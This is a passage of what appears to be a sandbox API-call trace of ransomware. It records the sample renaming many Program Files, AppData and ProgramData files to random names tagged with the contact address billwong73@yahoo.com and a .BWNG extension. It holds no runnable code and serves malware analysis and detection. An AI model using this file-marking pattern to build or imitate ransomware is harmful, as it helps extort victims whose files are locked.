(x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\[billwong73@yahoo.com].Mq5QQ1i2-0kYYokUz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\[billwong73@yahoo.com].mq5qq1i2-0kyyokuz.bwng"), dwFlags=0x1) returned 1 [0120.927] GetTickCount () returned 0x1165d2e [0120.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26287889647) returned 1 [0120.927] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Menominee" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\menominee"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].qtQMro3L-bLdpdas9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].qtqmro3l-bldpdas9.bwng"), dwFlags=0x1) returned 1 [0120.928] GetTickCount () returned 0x1165d2e [0120.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26288028184) returned 1 [0120.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nassau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nassau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].dsz9b3RA-WQsQTAvv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].dsz9b3ra-wqsqtavv.bwng"), dwFlags=0x1) returned 1 [0120.930] GetTickCount () returned 0x1165d2e [0120.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26288189438) returned 1 [0120.930] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Pangnirtung" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\pangnirtung"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].XsYNxzhK-fcXfbu4q.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].xsynxzhk-fcxfbu4q.bwng"), dwFlags=0x1) returned 1 [0120.931] GetTickCount () returned 0x1165d2e [0120.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26288326062) returned 1 [0120.931] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Regina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\regina"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Pcy0BhUe-VNxW4YBw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].pcy0bhue-vnxw4ybw.bwng"), dwFlags=0x1) returned 1 [0121.214] GetTickCount () returned 0x1165e56 [0121.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26316637224) returned 1 [0121.215] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Johns" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_johns"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].NbjRBUFu-sv1BKQar.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].nbjrbufu-sv1bkqar.bwng"), dwFlags=0x1) returned 1 [0121.216] GetTickCount () returned 0x1165e56 [0121.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26316843777) returned 1 [0121.216] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Jamaica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\jamaica"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].IuILsLQn-siZO3wPR.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].iuilslqn-sizo3wpr.bwng"), dwFlags=0x1) returned 1 [0121.218] GetTickCount () returned 0x1165e56 [0121.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317035413) returned 1 [0121.218] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Toronto" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\toronto"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].5dFUTWUt-5YcQfVNC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].5dfutwut-5ycqfvnc.bwng"), dwFlags=0x1) returned 1 [0121.220] GetTickCount () returned 0x1165e56 [0121.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317200765) returned 1 [0121.220] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].tLL5fXLM-R5UsmrLg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].tll5fxlm-r5usmrlg.bwng"), dwFlags=0x1) returned 1 [0121.222] GetTickCount () returned 0x1165e56 [0121.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317386357) returned 1 [0121.222] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus101.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus101.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].QVir8Zu9-ypMQ2Vdp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qvir8zu9-ypmq2vdp.bwng"), dwFlags=0x1) returned 1 [0121.223] GetTickCount () returned 0x1165e56 [0121.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317575413) returned 1 [0121.224] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].cxLdHJdT-1AoWLhWu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].cxldhjdt-1aowlhwu.bwng"), dwFlags=0x1) returned 1 [0121.225] GetTickCount () returned 0x1165e56 [0121.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317749379) returned 1 [0121.225] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].waUkz3Pm-tU0Kouvy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].waukz3pm-tu0kouvy.bwng"), dwFlags=0x1) returned 1 [0121.227] GetTickCount () returned 0x1165e56 [0121.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26317909596) returned 1 [0121.227] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa03.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa03.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].H7X6K7xc-eSgEX5jj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].h7x6k7xc-esgex5jj.bwng"), dwFlags=0x1) returned 1 [0121.229] GetTickCount () returned 0x1165e66 [0121.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26318083820) returned 1 [0121.229] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].Kcvs8jpv-ABg3Vuq0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].kcvs8jpv-abg3vuq0.bwng"), dwFlags=0x1) returned 1 [0121.230] GetTickCount () returned 0x1165e66 [0121.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26318267778) returned 1 [0121.231] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].IIogzrfA-GCfzvk7z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].iiogzrfa-gcfzvk7z.bwng"), dwFlags=0x1) returned 1 [0121.232] GetTickCount () returned 0x1165e66 [0121.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26318404856) returned 1 [0121.232] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].04eDIw6T-6uhYUmi6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].04ediw6t-6uhyumi6.bwng"), dwFlags=0x1) returned 1 [0121.437] GetTickCount () returned 0x1165f31 [0121.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26338943440) returned 1 [0121.438] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\[billwong73@yahoo.com].mi5T6S15-gtVA59QQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\[billwong73@yahoo.com].mi5t6s15-gtva59qq.bwng"), dwFlags=0x1) returned 1 [0121.439] GetTickCount () returned 0x1165f31 [0121.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26339143038) returned 1 [0121.439] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].nZQmkSca-Evh1ZdmO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].nzqmksca-evh1zdmo.bwng"), dwFlags=0x1) returned 1 [0121.441] GetTickCount () returned 0x1165f31 [0121.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26339352493) returned 1 [0121.442] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].rIGFs6HD-DdwfhCWW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].rigfs6hd-ddwfhcww.bwng"), dwFlags=0x1) returned 1 [0121.443] GetTickCount () returned 0x1165f31 [0121.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26339512000) returned 1 [0121.443] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\desktop.ini" (normalized: "c:\\program files (x86)\\desktop.ini"), lpNewFileName="C:\\Program Files (x86)\\[billwong73@yahoo.com].VfDGcJKZ-dgp8gh8G.BWNG" (normalized: "c:\\program files (x86)\\[billwong73@yahoo.com].vfdgcjkz-dgp8gh8g.bwng"), dwFlags=0x1) returned 1 [0121.445] GetTickCount () returned 0x1165f31 [0121.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26339713937) returned 1 [0121.445] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\[billwong73@yahoo.com].oW1rTTcS-05qAjLEd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\[billwong73@yahoo.com].ow1rttcs-05qajled.bwng"), dwFlags=0x1) returned 1 [0121.893] GetTickCount () returned 0x11660f5 [0121.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26384527759) returned 1 [0121.894] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\[billwong73@yahoo.com].LONCi7rn-AOUJHe93.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\[billwong73@yahoo.com].lonci7rn-aoujhe93.bwng"), dwFlags=0x1) returned 1 [0121.896] GetTickCount () returned 0x11660f5 [0121.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26384869078) returned 1 [0121.897] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].K2HZ7zqs-79Gr0kMk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].k2hz7zqs-79gr0kmk.bwng"), dwFlags=0x1) returned 1 [0121.899] GetTickCount () returned 0x1166105 [0121.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26385103224) returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0121.899] GetTickCount () returned 0x1166105 [0121.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26385136282) returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0121.899] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].DF8ufdOI-xzjfm6TB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].df8ufdoi-xzjfm6tb.bwng"), dwFlags=0x1) returned 1 [0121.901] GetTickCount () returned 0x1166105 [0121.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26385333128) returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.901] GetTickCount () returned 0x1166105 [0121.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26385365198) returned 1 [0121.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0121.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0121.902] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].I3ufwlj5-TWKKDEZp.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].i3ufwlj5-twkkdezp.bwng"), dwFlags=0x1) returned 1 [0121.903] GetTickCount () returned 0x1166105 [0121.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26385540754) returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, 